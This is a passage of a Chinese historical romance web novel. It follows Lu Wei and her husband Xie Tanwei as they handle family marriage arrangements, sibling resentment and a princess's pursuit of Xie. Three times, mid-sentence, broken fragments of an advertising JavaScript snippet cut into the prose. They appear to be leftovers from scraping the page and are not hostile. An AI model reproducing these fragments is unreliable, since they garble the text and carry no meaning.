沈沐芳本是浓妆而来,颊腮的胭脂色忽在此刻灰白了,掌心一松,罗扇落在了膝上。 露微哼笑了声,见怪不怪,“怎么又掉?”起身给她拾了回去,“他已经好了,别担心。” “我有不得已。” 不及转身,露微的手腕被紧紧握住,力度之大,让她不由一皱眉,再低头时,却已见芙蓉泣露,弹落冷红,“你说就是。”她早已觉得沈沐芳并非一味骄横的人,倒果然是有隐衷的。 此后良晌,二人并肩而坐,露微知悉了一个很不同的沈家,但只是与她刻板以为的不同,却非是世上的罕闻:父亲离世,家门不振,兄弟荒唐,母亲软弱——不过是富贵门户的积弊。 “我阿娘原就是想叫我笼络住大表兄,她只能想到这些联姻的法子!为我长兄议婚,还问到表姊夫徐家去,表姊是万不肯沾我家的。我再要强 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,又拿亲娘怎么办?只能违心帮她,也不愿被人欺负。所以初知你时,只以为你和我兄长房里那些狐媚婢妾一样,恃宠而骄,想要爬到我的头上。” 听到此处,露微方作一笑,耸肩蹭了蹭她,“我现在可不就是在你之上?可见,你看人还是很准的——又是如何看准杨公子的呢?” 沈沐芳眼中仍是潮湿,听她语占双关,不禁抿笑,再说起时,面上早扫去阴霾: “旁人婚事,他是男家傧相,我是女家亲族。女家下婿,我因善琴,又听说新婿不通音律,便出主意叫新婿听琴猜曲。谁知,新婿虽果真不知,却有个人曲曲知音。等到新人进了青帐,我才弄清是他。当时只觉得他扫兴,又不是他成亲,这般出风头!于是便去问他,他却说他不会抚琴,只是喜欢听,听了便能记住。后来么,也是因这新人的缘故,每常聚宴,便也常见了。” 倒是风雅,也算佳话。露微一时先想到的竟是自己的亲迎礼,除了太子替她问了两句,根本就没有下婿,倒便宜了那水猴儿。但不能自揭其短,满心掩下,就道: “你既与你的家人都不同,做不出从人而舍己的事,就不要效颦。纵有千难万险,也该给自己择条明路,耳聪目明偏要装聋作哑,思虑恂达反与自己异心,难道还觉得是承家衍庆的孝义吗?” 沈沐芳听得两眼一愣,僵硬地点了点头:“我这不是……弃暗投明了么?” 露微抿了抿嘴,回以颔首,耳后也暗暗一热,片刻作了一叹,“其实我亦如你想要维持家门的心思一般,想为谢探微周全一家人的和气。可凡事,以退为进未必能进,委曲求全多是难全,我从前试过,一败涂地。” 话到此地,彼此都已是推心置腹的程度,而露微往事早非隐秘,就算是之前,沈沐芳也从未以此贬损,便是再无不通透的了,“他们谅也不敢撕破面皮,表嫂以后有我,别怕!” 世事樊笼,不过是人心织就,虽蜀道摧车,巫水覆舟,比之人情,也作了坦途安澜,所以越发显出解人难得,犹玄鸟私语,蝼蚁相知,若能微有一通,也是幸事了。 “多谢你了。” …… 沈沐芳同露微一道用了晚食后方才离去。因她来时未带婢女凤梅,露微便指了雪信提灯相送。她的居处原与东院相隔不远,眼见抬脚就到,却在半路花亭正面逢上了谢探隐。 这人亦有小仆宁英引灯相随,步伐悠然,正是信步纳凉。沈沐芳偶尔晚间也会乘兴游散,倒不是头次遇见,并不理会,略一见礼仍自走了,却被扬声叫住。 “表兄有何指教?”知他必无好心,更非闲心,沈沐芳只是敷衍一笑。 谢二郎朝她踱近了两步,负起手来,“表妹可曾听说,长嫂为你择了一门好亲事?母亲细心为你计议了一年都不曾选定,她一来,倒是一挥而就。” 沈沐芳险些笑出声来,目光将他从头望到脚,啧啧道:“难为表兄关心我,我已知晓,只是何时‘一挥而就’,定了?” “定么,倒是还未。”谢探隐晃了晃头,若胸有成竹,真是报喜一般,“只不过,你哪里不知,母亲宠爱长嫂,岂有不听从的?”又将眼睛斜下探看: “然则,那一家似乎也不是什么高门,国子监司业,从四品学官之家的从六品公子,倒有些委屈你了。” 沈沐芳饶是深知杨君游,也并不清楚杨家的官品衔级,倒是略一惊,想这人果然是居心不良,也真是轻狂。 “表兄已为我查得如此详细了!只是我有什么委屈呢?好歹是四品六品的朝官,我们沈家如今却没一个正经做官的,不过是长兄袭了个五品空头的爵位罢了。” 谢二郎听她竟是满意,自己何其不美,不觉便冷了几分笑,想想又道:“表妹既在我家,自同我家亲女,母亲也早同姑母说了,必不会叫你低嫁的。所以,长嫂想也已知,却还是提了那家,提得又急,难道不让人疑心,她是怀恨前事……” “表兄!”眼见万流终归一源,沈沐芳疾言阻断了他,见他眼色一怔吓住,方继续道: “表兄且与我留些颜面吧!长嫂是未来主母,自然是行事爽利有决断的好,又是出身高门,深有见识,她提的人家怎会差?”话音带出十二分幽隐之意,又不断弄眼示向身侧—— 她身侧么,只有一个提灯的雪信。 一瞬,谢探隐已面色如土,他知道雪信是谁的人,只不过才看到沈沐芳身边带的并非她的小婢凤梅。 “雪信,二公子都是好意,你可别会错了意,叫长嫂听了生气。”沈沐芳揽过雪信,谆谆教导,相携而去。 62.长君 谢探微得假归家,巧与父亲、姊夫前后抵达府前。他只记挂露微又独宿了几日,匆匆见礼问安便快步往东院去了。 谢道元见他这般,当面平常,却向他背影作了淡淡一笑。这细微的神态落入女婿徐枕山眼中,如光照明镜一般,一面跟随岳丈身后,一面笑着说道: “大郎果是成家立业的长君了,父亲可是瞧他越发进益了?我多年不见,此来看他,面貌精神,行事言谈,真是大不相同了。” 谢道元并不再停步,缓而才侧脸看了女婿一眼,“他只是成了家,立业尚浅。便是头脑清明了一些,也都是承教于新妇。道阻且长,来日方远,你倒不要惯着他。” 徐枕山哪里不知新娶的这位弟妇,才贤兼备,也更知岳丈是个口硬心直,不善圆融的人,能露出那淡淡笑意,已是对长子莫高的赞许了。便不再提,含笑而已。 越是快到东院,谢探微越是步伐如飞,飞到寝房廊下才一顿步,稍将衣袍整理了,踏了进去。因是他正常下职的时辰,露微也不稀奇,叫他先去更衣,方才坐下说话。 然则才相执手,却竟触到他横在掌心的一道伤口,“你怎么不说?!”露微摊开他这右掌细看,血痂尚薄软,是新伤不久,但到底没有辨别伤器的眼力,“怎么弄的?” 谢探微只是很快抽回手,“破点皮罢了,不算什么,我还是可以抱你。”便就伸开右臂将人搂到怀里,掌心扶在她肩上,一笑,“是一个新兵手脚不熟,险叫一柄长戟倒在头上,我情急去扶,在刃上划了一道,已上了药,你不必放在心上。” 露微也知他身为武官难免刀剑之伤,只是乍看起来,如横劈断掌一般,不免心惊,“你下次小心些,是右手!” “我的手又不如你,提笔撰文做的都是精细功夫,带着这点伤我照样可以……” 谢探微知道怀中人正拧着劲想缩肩,怕碰疼了自己,便故意说些取笑的话分她的心。谁知半途,两片嘴唇就被脖下升起的纤指捏合上了,一点缝也没留。 “这也是精细工夫!”露微钳制住了这人,到底从他臂弯下绕了出来,用另外的手翻开他的右掌查看,见伤口并无异样,方先松了他嘴上那只手,“疼吗?” 谢探微只是揉嘴,“麻了。” 露微白他一眼,脸上已不觉漏笑,正欲说什么,忽听叶娘在外告见,心知何事,忙起身去了外间。谢探微倒好奇,想叶氏是母亲的心腹,素来眼明心亮,便跟去前,先将伤手掩了掩。 “可是母亲有什么吩咐吗?”虽是后到,他已一眼瞧见叶氏带来一个食盒,“这是什么?” “不是什么。”露微挡在他前头,嗫嚅一句。 谢探微见她遮掩,索性自去开了食盒,却见是一碗汤药,“微微,你怎么了?!”方自悔粗心,竟没察觉她身体不适,便也不顾叶氏在场,只要将人揽在怀里,“你怎么不说?” 这话是露微才问过他的,倒成了现世报了,一时羞惭无言。 叶氏有年资的人,见如此状,心里只赞他们夫妻情好,笑着解释道:“夫人前两日有些伤暑,幸而并不严重,叫医人诊过,有几日的药要吃,都是郡主亲自看着的,公子放心就是。” 谢探微轻叹了声,点点头,“叶娘且先去吧,这里有我,请父亲母亲亦顺时保养,勿要如她一般。” 叶氏来时便知谢探微已回,本不愿多搅,礼罢转身退去。外间尚有雪信、丹渥,见状也将房门掩了,退守廊下。 不等眨眼,谢探微就审问道:“才几天不见,你好大的礼啊!”虽如此,手反抱得越紧。 屋里已无旁人,露微也抬起了头,轻哼了声:“谢司阶虚左以待,也是好大的礼啊!” 谢探微一时忘了手上的伤,倒真被一堵,抿嘴半晌,“罢了,我总是说不过你的。”顺了台阶下去,便自是要去提茶端汤,“这是什么方子?” 露微已到平榻坐下,捧着腮一想,“清暑益气什么的,医人是同母亲交代的,我没听清,也没问。” 谢探微坐在她身侧,将药端到自己鼻下闻了闻,片刻却是道:“你确定这是医人的方子,不是母亲自己熬的?” 露微蹙眉,想自己言辞清楚,怎会让他曲解?再一见他直楞的模样,噗嗤一声就笑了出来:“今天又不是头回吃,不是那个鹿羹阿胶的大补汤!” 不知他怎么想起来,竟能觉得这正经汤药和当初他被父亲鞭伤时,母亲送来的补汤是一样。他却不笑,竟向碗边沾了一口,“嗯,果真不是。”才终于送到病人唇边,“但还是有些苦的。” 他的脸颊靠得比药碗还近,露微一时不知先顾他,还是先吃药,不觉微动,还是与他先贴住了颊,“我不怕的。” 直到她饮尽,谢探微果真没见她皱眉,放了药碗仍忍不住环紧了她,“你何不怕些才好?” …… 叶新萝回到主院与李敬颜回了话,听到多了儿子的一句问候,李氏自更欣慰,仍嘱咐要仔细照料露微饮食。谢道元正从廊下回房,恰也听到叶氏所言,站着便问: “微微何时病了?可要紧吗?” 李敬颜原也要说此事,只是也没见他得闲,叫他坐下,亲奉了茶,说来缘故: “你也知这孩子春天时大病了一场,接着便出了后头的事,难免失于调养。近来炎暑,她一时要入宫侍奉,那日也是我的疏失,同她和渺儿商议芳儿的婚事,一坐半日,叫她有些伤暑了。请人看过,虽不严重,根源还是在调养上。” 谢道元听是季节病症,才算放了些心,也叫李氏精细关照,务必周全,歇了歇又问:“只是,芳儿的婚事倒是如何了?” 不提到此地,李氏还没想好章句,毕竟她心里可不止这一桩婚事,却都关涉同一户人家。稍作思索,先将露微所提说了几句,“那位杨公子也正是在你部中为官,你看如何?” 谢道元也知露微与杨家交好,却还是颇觉意外,再想那杨君游,如今吏部上下年轻的官吏,虽不乏才干者,却就数他和露微长兄赵启英若双璧般,堪称佼佼。 便单看是这般儿郎,能有几家不愿作亲,可他思来想去,却也有顾虑:“杨家亦如太傅家,不是寻常能够结交的,所以若非陛下赐婚,恐怕你那犬子还没有如此大的福分。” 说的是甥女议婚之事,却拐着弯夸起新妇,也不好好说,偏要拉踩亲儿子一回,可见如今虽是父子和气了,钉嘴铁舌却是改不了。李氏想来好笑,道: “满城谁不知你谢中书家娶了个世上无双的长媳?可旁人的死活也是要管的,请谢中书拨冗示下吧?” 谢道元果有一丝得意藏在眉梢,见夫人打趣恭维,鲜少地摆了摆姿态,一笑道: “本是家事,但杨家不同些,有你主张不到的地方。我记下了,哪一日先试问试问,若君游愿意,我再去拜会杨司业就是了。不过芳儿那性子,你且多劝劝,不可再胡闹了。” 一番话说得李氏如春风拂面,无不点头:“芳儿早改了许多,更与微微交好,想来也是微微大度,不计前嫌。” 谢道元想也是如此,面上露出赞许神色,方觉了事,再转看李氏,却见她又凝眉含思,恐还有她为难处,便关切道:“婚事自是两家合意才好,目下还未定,你不必先忧虑啊。” 李氏倒不算忧虑,只是很明白,这首战告捷并非是抛砖引玉,却是多半是抛玉引砖,但既军临城下,也没有改日再议的道理,遂叹声道:“微微不提杨家,我原也是先中意杨家那位小女儿的!” 谢道元登时一惊,虽不如李氏留心,也是在长子亲迎礼上见过杨家小女的,此时谈不到中不中意,只是反问:“二郎什么秉性?!就能论到婚事了?” 李氏果见是这个结果,亦不强辩,还是先将如何考虑的说了,便是露微与杨淑贤交心,可妯娌扶持的话,愈加恳切: “二郎是尚不成器,只是他自小与大郎迥异,总不是一个法子能教导的。若能得贤妻教佐,便如大郎他们,相得益彰也好。” 谢道元沉心听来,却也未见改色,不过气平了些,道:“同微微要好的孩子自然不会差,只是不论谁家,都暂且收了心思,二郎如今的样子,是要耽误人家的。” 李氏半晌不语,点了点头:“那就算了,不过说给你商议。” 时已向晚,既一时无话,李氏便叫叶新萝去传晚食。叶氏自然早已备好,待领着小婢进来服侍时,却在李氏耳畔轻声告道: “方才二郎来过了。” …… 谢探微细问了雪信、丹渥方知,露微伤暑虽是不重,症状却在心烦不寐,因而面色不佳才被母亲发觉。等到上灯后,夫妻入帐,他又问起,露微虽据实而言,却不过点了两句,将话端另外说起。 他听来,不过就是露微借了母亲的东风,将沈沐芳的婚事引向了杨家,而沈氏亦洒心更始,与露微坦诚相交。这都是好事,但也都是他无谓的事。 “你已尽心,便顺其自然吧。”他无奈一笑,托起露微枕在自己臂弯,“这可怎么办才好?明天原是想带你回家的,现在你却不宜走动了,我也怕岳丈面前,罪责难逃。” 露微挑起一指点了点他的鼻尖,轻笑道:“乌获有千钧之能,孟贲有拉朽之勇,谢司阶倒是审时度势,泰山之下,甘为鸟卵。这也算是投诚了,想必泰山重重有赏,岂能论罪?” 谢探微就感到耳垂湿湿热热作痒,侧身过来,先将这悬河之口封了,半晌才道:“君子不立危墙下,你莫仗着生病,就不做君子了,危墙推一推就倒了,我也是。” 露微倒是一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 愣,脸颊移上红云,又不禁咬唇忍笑,“痴儿。” 谢探微听了这二字,清脆悦耳,倒如得了赏一般,长舒一气,揉了揉她的头发,“微微,等你好了我们再回去。” 其实露微并没想着回门,时而上职也常见父亲的。而谢探微难得休假,她亦是等着做另一件事,却被打了个岔,还不及说。 “夫人,凤梅求见。” 忽听得雪信的声音,虽不疾不徐,来者却是奇怪。露微便要起身去见,先被谢探微拦住:“凤梅是谁?” 露微少不得解释一句,仍绕了出去。凤梅进门正欲行礼,却又望见屏后跟出个人,吓了一跳,不敢抬头。露微自知缘故,递了眼色,叫那人退了回去。 “你说吧,你娘子因何这个时辰找我?”露微心知,若非谢探微回来,现在来的应该是沈沐芳本人,只是杨家的事已摆在那,不知她还能急着什么。 凤梅这才放心开口,言辞倒是清爽,可寥寥数言竟让露微十分吃惊——李氏竟看中了淑贤与二郎为妻,虽然谢道元并不准许,也只是暂时搁置了。 “这是好事啊!” 方遣走凤梅,露微心思正乱,那只是躲在屏后的人竟报喜来了,牵住她又道:“你以后就可以天天和贤儿一处作伴了!” 露微冷眼瞧了他半晌,等他自觉笑得尴尬,才赐言:“她不来,我也正要和你说贤儿,只是,这一下弄岔了。” 谢探微是完全不通的,所言即所想,也才看出露微面上难色,想起她病体未愈,先将人扶回了榻边,“怎么回事?” 露微并不是讲不清楚,而是过于清楚的话,不能对他说。 如今她已知淑贤心中属意陆冬至,原本只需去点拨冬至,二人便是大有希望。毕竟杨家清流,不愿攀高,也未必轻低。 然则李氏这层意思,虽是被谢道元阻止,却难保不教二郎怀恨,又把仇记在长兄和她的头上。沈沐芳已将二郎在其面前挑拨之言叫雪信转告,这位二公子的心思是越发明确的。 而况凤梅传话亦言,李氏提起与杨家联姻,与谢道元两人句句都透露对她的偏爱,也被二郎当场听了去,自又是雪上加霜。 故而,就算二郎本瞧不上杨家,在知道父亲愿为表妹去问,却只认为他不配,他又岂能不以此为恨?若再等淑贤和冬至成了亲,又未免不授他话柄,说是兄嫂偏帮外人之类。 脑中大略想过一遍利害,露微仍先将淑贤心意告知了谢探微,他不知二郎人品,倒不知会如何评断,“我原就是想和你一起去问冬至,但你现在怎么想呢?” 然而,谢探微好一番深思后,却是发笑:“你用旁人求亲冬至的事把贤儿的心思诓了出来,却不知那小子近日也烦得紧。恐怕也是想着贤儿,又没有出处。” “旁人求亲,他不应,难道阿父还能逼他应?” 谢探微摇头,倒是敛了笑意,方将缘故道来。 原来,那些来向冬至问亲事的人,并不单看他是年少有为的小将,也是看在他能跟从晏令白,就算不如一同面君受赏的谢探微有家世,也该是有些出身的,谁知打听来却只是个孤儿。 如此不结亲也罢,那些人又只想攀附晏令白,就又说愿意招赘。陆冬至原已不肯了,知道这些原因自是更觉受辱,于是闷闷不乐,连以往嬉笑的性子都改了。 “什么狗东西!” 谢探微话音方落,只听露微愤愤一声。生气是自然,只是他还是头次听露微语出俚俗,且透着凌厉,颇是惊奇:“微微?” 露微毫不在意,略抬下颌,又道:“所以,你到底怎么想?” 谢探微这才眨了下眼睛,“那些人自不必管了,阿父也不答应。我明日就去问冬至,若他果真与贤儿彼此有意,就正好。” 这只解了一半的事,然则露微更关心另一半,想了想,小心问起:“那么,你不怕二郎觉得你偏帮外人么?父亲已经不答应了,你做兄长的又……” 谢探微用手轻掩了她的唇,“二郎温良单纯,涉世尚浅,所以先前才险被李元珍的人蛊惑,被父亲禁足。他是不会那样想的。至于冬至,我亦当他是弟弟,不忍他受屈。他本与贤儿相识在先,只要他有意,我必会全力满足他。” 露微望着他,眼中酸胀已不能隐忍:温良单纯,涉世尚浅,不若是说他自己的好。而二郎被禁足的缘故,他亦只知皮毛。 罢了,原本就不是求全的事。 “怎么了?为什么哭了?”谢探微忽见她弹泪,心中慌急。 露微一笑,倾身抱住了他:“此令兄弟,绰绰有裕。我只是在想,你真是一个绝好的长君。” 谢探微不料,身子僵了一僵,旋即却问:“只是绝好的长君,不是绝好的夫君么?” “亦是。” 63.解意 自惠文皇后林氏薨逝,五六年来,皇帝都不曾再立中宫。便也自那时起,备数后宫的就是众妃之首的贵妃周氏。周贵妃居内宫紫兰殿,此日方午憩醒来,想起一事,正欲问内官王弘俦,便听一阵叫骂声从殿外传了进来。 贵妃倒实在认得此声,摇头一叹,向王弘俦吩咐:“把鲁阳公主叫进来!” 王弘俦领命立刻拔腿,却不及走出三步,已见一个飞扬的身影踏风而来,忙避到一边跪倒:“公主万福!” 鲁阳公主目生于顶,只长驱直入,到母亲跟前亦不施礼,不过含混称呼了一声:“母亲安好。” 贵妃见这堂堂天家公主,举动竟像个市井疯妇,又看她不着宫装,一身艳红的翻领袍,黑革带,高靿靴,手上竟还拿着马鞭,直是气得胸肋发痛,两肩颤抖,举手指道: “李柔远!你要闹到什么时候?等你父皇问罪不成?!” 李柔远撇了撇嘴,稍露悻悻之色,手里仍摇着马鞭,“阿娘,女儿何曾闹了?就是发泄发泄。女儿是天子长女,竟也要为驸马服丧三载,青春之龄,都葬送了,焉能不怨?” 贵妃唯这一个女儿,生气也是由自疼爱,又岂不知这娇女自小顺遂,竟在婚姻大事上遭逢不幸,也实在可怜。想来便罢了,换了笑脸,将女儿揽到身侧,好言相劝: “再是发泄,也不能失了庄重。你父皇最是崇德尚礼,所以才下诏说女子之德,雅合慎修,又说贵贱同遵,这天下女子若守寡,都是一样的规矩啊。” 李柔远半个字也没听进去,只不服道:“规矩、德行,女儿又不是为这些才当公主的!父皇当初就不该为女儿择一个文弱书生做驸马,区区风寒也能病死了,好不晦气!若要女儿自己选,定选一个威武高大的武将!” “快住口!”贵妃听得替她脸红,忙呵止住,遣散了殿内所有宫人,“驸马好歹也是世家公子,况已早逝,何苦咒怨?”又再三叹声,“柔儿,再忍耐些吧,到九月不就满三年了?幸而你也无生养,到那时还是可以再嫁的。” 这一番话倒比先前的有令人可喜之处,李柔远目色一亮,挽住母亲问道:“那这次可叫我自己选吗?选一个年少英俊的武官!” 贵妃却渐渐冷下脸来,不似怒,更非是依从,“柔儿,我听说,你前两日在夹道上打了人,就是那位除逆有功的金吾小将谢探微,可有此事?如实说来。” 李柔远一时哑口,挽着母亲的手松开了,眼珠时而一转,或观望或端量,却不见愧色,终究回道: “是他冒犯女儿!女儿只是问他几句话,他却敢说女儿居丧妄为,一时不忿才给了他一鞭子。他身手好,举手挡住了,又没伤着,这也不是什么大事。” 贵妃轻哼了声,却是早已知悉的,“李柔远,你听好了,满朝的武官,就是他不行!你难道不知他才被赐了婚?他们谢家又岂是好惹的?便是他夫人,也是太傅之女,御封女官。你再是天子长女,也没有和臣女夺夫道理,若有此行,不必你父皇发落,宪台的口水就能把你淹死,还要带累你阿弟的前程!” 李柔远的心思就这么直白地被母亲挑破,一无反唇的理由,面色红白起伏,双拳却亦攥得发颤,“女儿,知道了。” “来人,为公主更衣理妆,换身素净的衣裳。” …… 谢探微如今与陆冬至虽不在一处上职,但休沐的时间大抵相同。这日回到将军府寻人,正见他百无聊赖地趴在阑干上,不时朝面前池塘里拨些饼餤碎屑,惹得群鱼争食,跃动不已。 “你倒舍得分给它们!” 忽听人声,陆冬至方竖起来,见是谢探微,眼睛一圆,便要扔了手中残饼奔过去,想想又不舍,都塞进了自己嘴里,鼓囊着就道:“你还有空回来?” 谢探微自成婚搬回谢家,虽才两旬,却已算他们之间的久违了。见他情急如此,恍然想起幼年相伴,也总是他不修些,自己每日帮他上下收拾。便先伸手给他揩了把嘴边饼屑,方笑道: “你有空,我也一样啊。况是微微叫我来的,她近日得了个笑话,知道你正不开怀,便要分享给你听。” 陆冬至岂不知他们夫妻如胶似漆,不解这理由,只觉他有取笑炫耀之嫌,抱臂嗔怪道:“她那么聪明,你受了她的唆使,怕不就是来笑话我的,反正我已是笑话了。” 谢探微似接纳般极认真地点了点头,等他神色越发疑惑,忽往他额上弹了一指,“倒就是你的笑话!笑你赠刀明志,却不明心!” 陆冬至本非思虑敏捷之人,却只听一个“刀”字就愣住了,心里霎时清明,但也再无话可言,低了头。 谢探微原并不肯定他心中藏情,果见他这般,便也省了许多唇舌了,“贤儿的事,你如何不早些对我说?还是微微先发觉贤儿的心思,不然等你们都各自聘定了才好?” “贤儿的……心思?”冬至惊闻一颤,满眼不可思议,气息亦变得喘促。 谢探微叹声颔首,遂将一切缘故与他说了,就见他自震惊到惶恐,愈发低了眉宇,吞声忍泪,便也无不懂他,一展臂,将他揽到了肩上,安慰道: “你也大了,是我的疏忽,叫你受委屈了。那些趋炎附势之徒自不用管,你也并非一味迷头认影的人,你如今是天子亲封的金吾中候,致果校尉,都是你自己的军功换来的,不可轻看!如今我既知你心愿,必定尽力帮你,好不好?” 陆冬至自非在意那些外事外物的性子,不过就是因为心事撞上这些俗事,又力不能及,才一时入了穷巷。但现在已算是一通百通了,用力抹干了眼睛,抬起头来: “如果杨司业能看得上我,那我就去杨家入赘吧!那些人家不行,杨家行!” 他眼角还有余泪,鼻头也是通红的,却已口出严誓,倒像那诤臣一般,叫人动容,更好笑。也不由叫人想起,自己要娶露微时,也曾立志要做赵家的赘婿。果然一同长大,虽无血缘,却自有一脉相通。 “那你拿什么谢我呢?”又不等他来择定,谢探微反也抱起双臂,扬起面孔,“不如,叫声阿兄来听听!” 这个游戏倒是熟悉的。冬至因比他年小三岁,自幼年认识,就总被他教着喊兄长。可虽是文武皆逊色于他,也时常受他照料,却也从没在称呼上服过软。如今么—— “阿兄,求你了。” 说得无不自然,无不顺畅,又添了一双殷殷期盼的眼睛。 谢探微竟一哽咽,“好,阿兄依你。” …… 将军府前庭空阔的一块地方,崔为已静立许久,手中牵着匹毛色雪亮的马,几步外还站着江玥和露微,此二人四目相视,亦是良晌不发一言。 “你倒是说话啊,要么就直接上马试试,这般迁延,是要等谢探微来了再作态吗?”江玥斜睨着露微,眼中面上皆不掩轻视之态。毕竟,她刚发现,这位众人口中都极尽夸耀的赵学士,原来也有弱点:不会骑马。 露微却也真是头回见识这般情形,半天没想出对策。 她原是比谢探微晚了一刻到将军府,在门首恰遇崔江二人策马归来。那江玥身姿飒爽,马术娴熟的样子顿时就吸引了她的目光,口中不觉称羡,于是就被拿住了短处。江玥直接将马牵进了府门,想是不雪前耻不罢休的。 仍不见露微接话,却见她神情局促,江玥得意一笑,又道:“我来了咸京月余,也常见如你这般的贵女乘马出行的,你都厉害得能当五品官,怎么连马都碰不得?” 这两句,露微都觉得她说得极有道理,两手在身侧暗搓,倒是越发败阵了,“我不会……可,可是我阿娘骑得像你一样好!”此言算是搜尽枯肠了。 “这算什么理由?”江玥听得一愣,皱了皱眉,“那你娘怎么不教你?你不会是想叫你娘来帮你吧?看你年纪是比我小些,可好歹也嫁了人,怎么还把娘挂嘴边呢!” 她不知内情,露微并不嫌她冒犯,想想终究比不过,认输也罢,这江玥也只是直率的性子,“我阿娘已经不在了,我也不知她为何不教我,但她真的和你骑得一样好,所以我就想起她来了。” 江玥和崔为的目光一时齐齐显露愧色,江玥正要再说什么,忽然传来一句呵斥: “阿玥,崔为,胡闹什么!” 三人皆不防备,惊觉回头,才见是晏令白和顾夷中两位尊长回来了。晏令白一时并不发话,那一句斥问也是出自顾夷中之口,崔江两个都是跟随他来的咸京,自有看管之责。 “我们闹着玩呢,没,没干什么。”崔为虽只是全程牵马,却看江玥已是面红耳赤地低了头,此刻少不得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 挡在她前面,“我马上把马牵走,将军别生气!” “你有一日安生吗?!自己没个正形,还敢带着阿玥胡闯!” 顾夷中气得来揪崔为的耳朵,崔为亦不忘擦肩之际拉一把江玥,“将军我知错了,轻点轻点!疼!” 江玥向晏令白见了礼,抬头瞧了露微一眼,“对不起。”低促一句,再不敢多留,小跑去了。 剩了露微一人与晏令白相对,她倒无处可逃了,干笑了笑:“阿父,我们只是闲来无事,在讨论马。” “你生在咸京太平之地,不会骑马是寻常事。况且学马很容易受伤,敏识小时候就摔过多次,你不必同他们比。” 孰料,晏令白只是温和地开了口,而这劝慰的言辞竟与母亲宋容当年说的一字不差,一时叫露微都有些恍惚了。 “微微!” 正不知如何承言,谢探微倒是来得及时,只是竟已知悉了方才的事端,也不顾晏令白在旁,一臂将她揽过就道:“不是不让你来的吗?既来了还与他们在外头站着,难道……” 眼见他口无遮拦,又要提自己伤暑之事,更加多事,露微连忙一掌将这人嘴堵住,不停挤眉瞪眼,又难免要兼顾晏令白,一时真是手忙脚乱。 晏令白见儿女这般,倒只是摇头笑笑,很快便转身走了。小夫妻这才消停,谢探微仍往露微身上查看,露微却不知怎么,目光被晏令白踽踽的背影引去了。 “刚刚江玥可是欺负你了?”谢探微关切问道。 已望不见身影,露微才缓缓转回目光,“没有,是我赞她马术娴熟,和阿娘一样,她便给我演练了一番。” “那阿父和你说了什么?”谢探微亦皱眉随她瞧去一眼。 露微一笑:“他说你小时候学马,摔了很多次,出乖露丑,笑死人了。” …… 徐枕山自岳父书房侍奉回来,到西院正屋廊下忽听见里头说话,似伴有啜泣声,站定又听了片时方分辨明白,是二郎正和他阿姊诉苦,倒也明白是何缘故,一笑,仍踏入房中。 “二郎这是怎么了?” 谢探隐不料姊夫突然降临,虽没说完,忙引袖拭泪,匆匆见了一礼便告辞了。谢探渺见状,叫了小婢追去相送,转眼却对丈夫轻哼了声,埋怨道: “你住在父亲书房也罢了,何苦大热天的来回跑呢?虽是告假陪我,成天还是忙那些外务,有几分心思在我这里?” 回来两旬,徐枕山头回见谢探渺发脾气,想着方才二郎的样子,也就知道前因了,便走近了,扶肩缓声劝道: “你是父亲掌珠,父亲愿意提点我,还不都是因为你。我说你啊,才是大热天的少动些气的好。难道这里的家事还能比你在扬州当家做主时难么?” 几句话既恭维了谢探渺在母家的地位,又赞了她在夫家的身份,倒是令她十分受用,即刻解气一笑,却又挑眉一叹: “难不难的又怎样?如今这家里,我早不是父亲掌珠了,那位赵学士才是。她提一个杨家,母亲就不管自己辛苦选的那些人家了,父亲还要亲自为芳儿去问。这也罢了,母亲想为二郎聘杨家女,父亲却不许,又说和她要好的都是好孩子,不能让二郎耽误了。真是好大的本事,句句都不离她的好!” 这些事都经由府里众口传开了,徐枕山无不知晓,却并不这么看,从谢探渺手里拿过罗扇,替她打扇,又道: “我知道这些,也向父亲问过二郎的情形。他年初落第,又闹出禁足那些事,的确心性不稳,再等两年也好。他是父母幼子,难道还会冷落他?况且,大郎从前与家中疏远,与父亲冷漠,倒也没听你为大郎不平,大郎那时受的责备岂是二郎能比的?如今,你又为二郎的事嫌怪弟妇受父母宠爱,渺儿啊,这却是有些不公了。” 谢探渺静静听来虽未反驳,但眉宇间仍凝着几分不甘,“大郎如今也算功成名就了,父母妻子都围着他,二郎却什么都没有,我难免多心疼他些。” 夫妻十二载,儿女都一双了,徐枕山哪有不知妻子性情的,许多时候过于心软就容易偏听,便作一笑,为她扶了扶鬓边簪花,“二郎有你这个长姊,定是能护他一辈子的,我今后也帮你看着他好不好?” 软语温存最动人心,谢探渺一时什么都无心计较了。 64.未歇 东院假山上亦筑有风亭,因在高处,又临池水,虽是炎夏,也四面穿风,颇是凉爽。 谢探微此日休沐,原正陪露微在亭中临帖,以备隔日交差,不料侄儿赵澈忽然到访。小小孩子是独自来的,倒是稀奇。夫妻自也高兴,携了他一道在亭中消遣。 露微因问起家中形景,赵澈都一一作了细答。朱氏从前糊涂,如今也已洗心归正,在乔娘的辅佐下,大小庶务都办得妥帖;赵维贞和赵启英父子间也趋融洽,晨昏出入,日常相随。 谢探微算是初近赵澈,一旁听来,只觉八岁孩童言辞清爽,礼貌完备,不觉心下惊叹,又见案上摆着露微写了一半的字帖,忽生试探之心,叫他也临上几笔。 然而,竟也难不倒这孩子,只看他坐姿端正,握笔有力,区区数行字,已很有些骨架了。 “如何?写得比你好吧!” 露微早知赵澈颇有天资,只是等着取笑谢探微。谢探微倒不觉脸红,反生得意,揽了赵澈坐到自己身前,提笔与孩子同握,道:“澈儿教我,你小姑姑总是恃才欺我。” 露微白了他一眼,与赵澈相视一笑,不扰他们切磋,顺手拣了案上摆的桃吃起来,复拿起赵澈刚刚临的字细看,倒觉得也比自己写得好,忽而想起一事,随口道: “澈儿,上回进宫,也听太子殿下提起你,问你的字练得如何。不若你好好写几张,我带去给殿下看看。” 赵澈亲迎礼那夜偶遇李衡的事不是秘密,谢探微再听这话,倒瞬间放开了手,“澈儿,好好写。”转而挪到露微身侧,傻傻一笑,“微微,桃甜吗?” 露微瞧他一副乖样,也知他是有些怵太子,忍笑不理,仍看赵澈习字。赵澈原未分心,此刻略一皱眉,抬头停笔,问道: “小姑姑,那是澈儿写得好,还是殿下写得好?” 